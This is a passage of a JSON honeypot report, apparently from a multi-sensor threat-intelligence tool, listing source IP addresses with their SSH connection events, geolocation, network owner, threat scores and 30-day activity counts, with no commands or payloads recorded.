    "83.140.108.177": {
      "attack_count": 5,
      "first_seen": "2026-05-15T03:48:42.317Z",
      "last_seen": "2026-05-15T03:48:43.116Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 12552,
      "as_org": "GlobalConnect AB",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-15T03:48:25.907000+00:00",
        "last_seen_30d": "2026-05-15T03:50:42.939000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "Dionaea": 8,
        "Cowrie": 5,
        "Redishoneypot": 5,
        "Honeytrap": 4
      }
    },
    "112.229.230.141": {
      "attack_count": 4,
      "first_seen": "2026-05-21T13:07:32.459Z",
      "last_seen": "2026-05-21T15:01:37.742Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Jinan",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T13:07:32.459000+00:00",
        "last_seen_30d": "2026-05-21T15:02:46.858000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "121.41.226.198": {
      "attack_count": 4,
      "first_seen": "2026-05-11T10:34:03.839Z",
      "last_seen": "2026-05-15T11:32:40.871Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T10:34:03.839000+00:00",
        "last_seen_30d": "2026-05-15T11:33:45.386000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "124.234.203.69": {
      "attack_count": 4,
      "first_seen": "2026-05-18T21:48:16.454Z",
      "last_seen": "2026-05-18T21:48:52.905Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:48:16.454000+00:00",
        "last_seen_30d": "2026-05-18T21:50:00.892000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "181.87.67.123": {
      "attack_count": 4,
      "first_seen": "2026-05-23T17:01:17.013Z",
      "last_seen": "2026-05-23T17:05:19.864Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T17:01:17.013000+00:00",
        "last_seen_30d": "2026-05-23T17:07:03.570000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4
      }
    },
    "184.73.145.244": {
      "attack_count": 4,
      "first_seen": "2026-05-22T01:02:43.185Z",
      "last_seen": "2026-05-22T01:02:49.923Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 40.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 17.5,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 21,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T01:00:50.060000+00:00",
        "last_seen_30d": "2026-05-22T01:03:59.212000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4,
        "Ciscoasa": 1,
        "Honeytrap": 1
      }
    },
    "190.142.111.77": {
      "attack_count": 4,
      "first_seen": "2026-05-22T01:09:45.354Z",
      "last_seen": "2026-05-22T01:11:51.874Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 21826,
      "as_org": "Corporacion Telemic C.A.",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T01:09:45.354000+00:00",
        "last_seen_30d": "2026-05-22T01:12:52.688000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "44.208.162.44": {
      "attack_count": 4,
      "first_seen": "2026-05-10T00:04:21.636Z",
      "last_seen": "2026-05-10T00:04:26.686Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 15.8,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 19,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T00:56:35.338000+00:00",
        "last_seen_30d": "2026-05-21T01:02:56.002000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4,
        "Ciscoasa": 1,
        "Honeytrap": 1
      }
    },
    "66.132.195.107": {
      "attack_count": 4,
      "first_seen": "2026-05-14T04:54:23.112Z",
      "last_seen": "2026-05-14T04:54:38.351Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 75.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.4,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 26,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T06:46:30+00:00",
        "last_seen_30d": "2026-05-27T09:38:29.990000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "ElasticPot": 22,
        "Cowrie": 4,
        "Honeytrap": 3,
        "ConPot": 2,
        "Sentrypeer": 1
      }
    },
    "91.196.152.182": {
      "attack_count": 4,
      "first_seen": "2026-05-30T00:22:42.500Z",
      "last_seen": "2026-05-30T00:23:09.378Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 79.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 28,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T06:59:04+00:00",
        "last_seen_30d": "2026-05-31T01:19:25.159000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 97,
        "Honeytrap": 27,
        "Cowrie": 4
      }
    },
    "116.234.76.167": {
      "attack_count": 3,
      "first_seen": "2026-05-03T11:57:15.085Z",
      "last_seen": "2026-05-03T11:59:15.088Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4812,
      "as_org": "China Telecom Group",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T11:57:15.085000+00:00",
        "last_seen_30d": "2026-05-03T12:10:02.105000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "167.99.72.161": {
      "attack_count": 3,
      "first_seen": "2026-05-16T23:45:23.035Z",
      "last_seen": "2026-05-16T23:46:23.692Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T23:45:23.035000+00:00",
        "last_seen_30d": "2026-05-16T23:47:25.760000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "31.59.44.189": {
      "attack_count": 3,
      "first_seen": "2026-05-18T22:36:56.542Z",
      "last_seen": "2026-05-18T22:38:56.542Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": null,
      "as_org": null,
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:36:56.542000+00:00",
        "last_seen_30d": "2026-05-18T22:39:59.783000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "1.34.254.107": {
      "attack_count": 2,
      "first_seen": "2026-05-15T20:21:29.441Z",
      "last_seen": "2026-05-15T20:22:11.488Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T20:21:29.441000+00:00",
        "last_seen_30d": "2026-05-15T20:24:05.069000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "102.69.157.165": {
      "attack_count": 2,
      "first_seen": "2026-05-11T06:03:12.006Z",
      "last_seen": "2026-05-11T06:03:25.263Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Malmesbury",
      "asn": 328418,
      "as_org": "Olena-Trading-AS",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T06:03:12.006000+00:00",
        "last_seen_30d": "2026-05-11T06:04:31.851000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.105.1.213": {
      "attack_count": 2,
      "first_seen": "2026-05-15T22:05:21.008Z",
      "last_seen": "2026-05-15T22:05:51.647Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 18049,
      "as_org": "Taiwan Infrastructure Network Technologie",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T22:05:21.008000+00:00",
        "last_seen_30d": "2026-05-15T22:07:00.900000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "112.198.186.100": {
      "attack_count": 2,
      "first_seen": "2026-05-19T08:29:57.192Z",
      "last_seen": "2026-05-19T08:30:16.625Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Nasugbu",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:29:57.192000+00:00",
        "last_seen_30d": "2026-05-19T08:31:23.660000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.132.195.153": {
      "attack_count": 2,
      "first_seen": "2026-05-16T14:44:49.762Z",
      "last_seen": "2026-05-16T14:45:03.310Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cyberjaya",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T14:44:49.762000+00:00",
        "last_seen_30d": "2026-05-16T14:46:11.058000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.209.45.132": {
      "attack_count": 2,
      "first_seen": "2026-05-12T19:48:12.032Z",
      "last_seen": "2026-05-12T19:48:24.137Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T19:48:12.032000+00:00",
        "last_seen_30d": "2026-05-12T19:49:28.603000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "129.208.109.131": {
      "attack_count": 2,
      "first_seen": "2026-05-18T09:34:46.895Z",
      "last_seen": "2026-05-18T09:34:58.953Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Riyadh",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T09:34:46.895000+00:00",
        "last_seen_30d": "2026-05-18T09:36:03.151000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.59.219.41": {
      "attack_count": 2,
      "first_seen": "2026-05-02T13:01:42.318Z",
      "last_seen": "2026-05-02T13:01:55.491Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ub\u00e1",
      "asn": 264119,
      "as_org": "UBA CONECT TELECOM LTDA - ME",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T13:01:42.318000+00:00",
        "last_seen_30d": "2026-05-02T13:03:04.841000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "149.46.4.199": {
      "attack_count": 2,
      "first_seen": "2026-05-15T23:29:43.401Z",
      "last_seen": "2026-05-15T23:31:43.403Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Jose C. Paz",
      "asn": 272030,
      "as_org": "SMARTNET S.R.L.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T23:29:43.401000+00:00",
        "last_seen_30d": "2026-05-15T23:32:46.662000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "152.59.46.54": {
      "attack_count": 2,
      "first_seen": "2026-05-06T08:52:51.725Z",
      "last_seen": "2026-05-06T08:53:06.786Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Surat",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T08:52:51.725000+00:00",
        "last_seen_30d": "2026-05-06T08:54:16.477000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "167.249.147.5": {
      "attack_count": 2,
      "first_seen": "2026-05-03T21:45:54.110Z",
      "last_seen": "2026-05-03T21:46:05.916Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Esperantin\u00f3polis",
      "asn": 265192,
      "as_org": "Borracharia Barroso Ltda",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T21:45:54.110000+00:00",
        "last_seen_30d": "2026-05-03T21:47:07.097000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.131.19.131": {
      "attack_count": 2,
      "first_seen": "2026-05-09T08:59:02.340Z",
      "last_seen": "2026-05-09T08:59:14.573Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Macap\u00e1",
      "asn": 262378,
      "as_org": "Compuservice Empreendimentos Ltda",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T08:59:02.340000+00:00",
        "last_seen_30d": "2026-05-09T09:00:16.160000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.115.208.237": {
      "attack_count": 2,
      "first_seen": "2026-05-25T20:49:11.044Z",
      "last_seen": "2026-05-25T20:49:23.656Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Santa Cruz de la Sierra",
      "asn": 6568,
      "as_org": "EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T20:49:11.044000+00:00",
        "last_seen_30d": "2026-05-25T20:50:29.712000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.162.104.184": {
      "attack_count": 2,
      "first_seen": "2026-05-05T13:41:34.146Z",
      "last_seen": "2026-05-05T13:43:34.149Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hefei",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T13:41:34.146000+00:00",
        "last_seen_30d": "2026-05-05T13:53:35.527000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "188.43.214.29": {
      "attack_count": 2,
      "first_seen": "2026-05-14T19:57:48.141Z",
      "last_seen": "2026-05-14T19:59:48.188Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 20485,
      "as_org": "Joint Stock Company TransTeleCom",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T19:57:48.141000+00:00",
        "last_seen_30d": "2026-05-14T20:09:55.450000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.80.51.18": {
      "attack_count": 2,
